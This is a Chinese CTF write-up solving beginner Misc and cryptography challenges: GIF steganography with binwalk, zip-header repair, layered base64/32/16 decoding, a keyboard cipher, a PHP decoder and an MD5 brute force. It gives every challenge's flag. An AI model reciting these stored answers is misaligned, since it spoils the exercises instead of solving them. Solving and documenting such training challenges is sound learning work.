成功获得flag:flag:nctf{thanks_to_cumt_bxs}

Misc

图种

题干

flag是动态图最后一句话的拼音首字母
加上nctf{}

题解

扔进binwalk,发现一个zip

foremost分离一下,得到zip,解压是另一张gif图片

翻到最后一张,最后一句话是:都深深的出卖了我

所以flag是nctf{dssdcmlw}

丘比龙De女神

题干

丘比龙是丘比特的弟弟,由于吃了太多的甜甜圈导致他飞不动了!

没错 里面隐藏了一张女神的照片
flag是照片文件的md5值(小写)
记住加上flag{}

题解

先扔进binwalk看一下

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             GIF image data, version "87a", 100 x 100
115088        0x1C190         End of Zip archive

发现一个zip结尾,但并没有发现开头

我们首先是要找到gif的结尾,将zip部分分离出来

我们找到3B,将前面删除后,观察一下,发现有个love字样,而我们知道正常的zip开头是PK

我们将最前面的00也删除,同时,将6C6F7665改为常见的zip头504B0304

改一下文件名后缀为zip,成功打开,并且有加密,猜测密码是刚才那个love

成功解压。获得一张nvshen.jpg

计算一下它的md5值为A6CAAD3AAAFA11B6D5ED583BEF4D8A54

所以flag就是flag{A6CAAD3AAAFA11B6D5ED583BEF4D8A54}

密码学

easy!

题干

密文:bmN0Znt0aGlzX2lzX2Jhc2U2NF9lbmNvZGV9
这题做不出来就剁手吧!

题解

base64解码,得到nctf{this_is_base64_encode}

KeyBoard!

题干

看键盘看键盘看键盘!
答案非标准格式,提交前加上nctf{}
ytfvbhn tgbgy hjuygbn yhnmki tgvhn uygbnjm uygbn yhnijm

题解

提示看键盘

我们发现每一小段按顺序走一遍都是一个字母

ytfvbhn ------ a
tgbgy -------- r
hjuygbn ------ e
yhnmki ------- u
tgvhn -------- h
uygbnjm ------ a
uygbn -------- c
yhnijm ------- k

该根据格式,得到flag:nctf{areuhack}

base64全家桶

题干

全家桶全家桶全家桶!
我怎么饿了。。。。。。
密文(解密前删除回车):R1pDVE1NWlhHUTNETU4yQ0dZWkRNTUpYR00zREtNWldHTTJES
1JSV0dJM0RDTlpUR1kyVEdNWlRHSTJVTU5SUkdaQ1RNTkJWSVk
zREVOUlJHNFpUTU5KVEdFWlRNTjJF

题解

R1pDVE1NWlhHUTNETU4yQ0dZWkRNTUpYR00zREtNWldHTTJES1JSV0dJM0RDTlpUR1kyVEdNWlRHSTJVTU5SUkdaQ1RNTkJWSVkzREVOUlJHNFpUTU5KVEdFWlRNTjJF

先base64解码,得到

GZCTMMZXGQ3DMN2CGYZDMMJXGM3DKMZWGM2DKRRWGI3DCNZTGY2TGMZTGI2UMNRRGZCTMNBVIY3DENRRG4ZTMNJTGEZTMN2E

再base32解码,得到

6E6374667B6261736536345F6261736533325F616E645F6261736531367D

最后base16解码,得到

nctf{base64_base32_and_base16}

或者我们可以拿脚本跑一下

import random
from base64 import *
f = open("base64_string.txt", "r")
f2 = open("flag.txt", "w")
# f1 = open("str.txt","w")
str = ""
if f:
    while True:
        line = f.readline()
        if line:
            line = line.strip('\r\n')
            str += line
        else:
            break
result={
    '16':lambda x:b16decode(x),
    '32':lambda x:b32decode(x),
    '64':lambda x:b64decode(x),
}
while True:
    try:
        str=result['16'](str)
        continue
    except:
        pass
    try:
        str=result['32'](str)
        continue
    except:
        pass
    try:
        str=result['64'](str)
        continue
    except:
        pass
    break
print str
f2.write(str)

也可以得到相同结果

n次base64

题干

依然是base64
不过。。。编码次数有点多
请用python解吧~

题解

运行上一题脚本

得到flag:nctf{please_use_python_to_decode_base64}

骚年来一发吗

题干

密文:iEJqak3pjIaZ0NzLiITLwWTqzqGAtW2oyOTq1A3pzqas

加密代码:

function encode($str)
{
  $_o = strrev($str);
  for($_0 = 0; $_0 < strlen($_o); $_0++)
  {
    $_c = substr($_o, $_0, 1);
    $__ = ord($_c) + 1;
    $_c = chr($__);
    $_ = $_.$_c;
  }
  return str_rot13(strrev(base64_encode($_)));
}

题解

我们来写个解密脚本

<?php
function decode($str)
{
    $str = base64_decode((strrev(str_rot13($str))));
    $_o = strrev($str);
    for($_0=0;$_0<strlen($_o);$_0++)
    {
        $_c = substr($_o,$_0,1);
        $__ = ord($_c) - 1;
        $_c = chr($__);
        $_ = $_.$_c;
    }
    return $_;
}

$str = 'iEJqak3pjIaZ0NzLiITLwWTqzqGAtW2oyOTq1A3pzqas';
echo decode($str);

运行一下得到nctf{rot13_and_base64_and_strrev}

mixed_base64

题干

多重base64加密,
干(sang)得(xin)漂(bing)亮(kuang)!

题解

还是运行之前的那个脚本,得到nctf{random_mixed_base64_encode}

MD5

题干

python大法好!
这里有一段丢失的md5密文
e9032???da???08????911513?0???a2
要求你还原出他并且加上nctf{}提交

已知线索 明文为: TASC?O3RJMV?WDJKX?ZM

题目来源:安恒杯

题解

写个脚本爆破一下

import hashlib

s = list('TASC?O3RJMV?WDJKX?ZM')
base = list('QAZWSXEDCRFVTGBYHNUJMIKOLP1234567890qazwsxedcrfvtgbyhnujmikolp')
for i in base:
    s[4] = i
    for j in base:
        s[11] = j
        for k in base:
            s[17] = k
            strtmp = ''.join(s)
            md5 = str(hashlib.md5(strtmp).hexdigest())
            if md5[:5] == 'e9032' and md5[-2:] == 'a2':
                print strtmp
                print md5

运行得到

TASCJO3RJMVKWDJKXLZM
e9032994dabac08080091151380478a2

所以flag是nctf{e9032994dabac08080091151380478a2}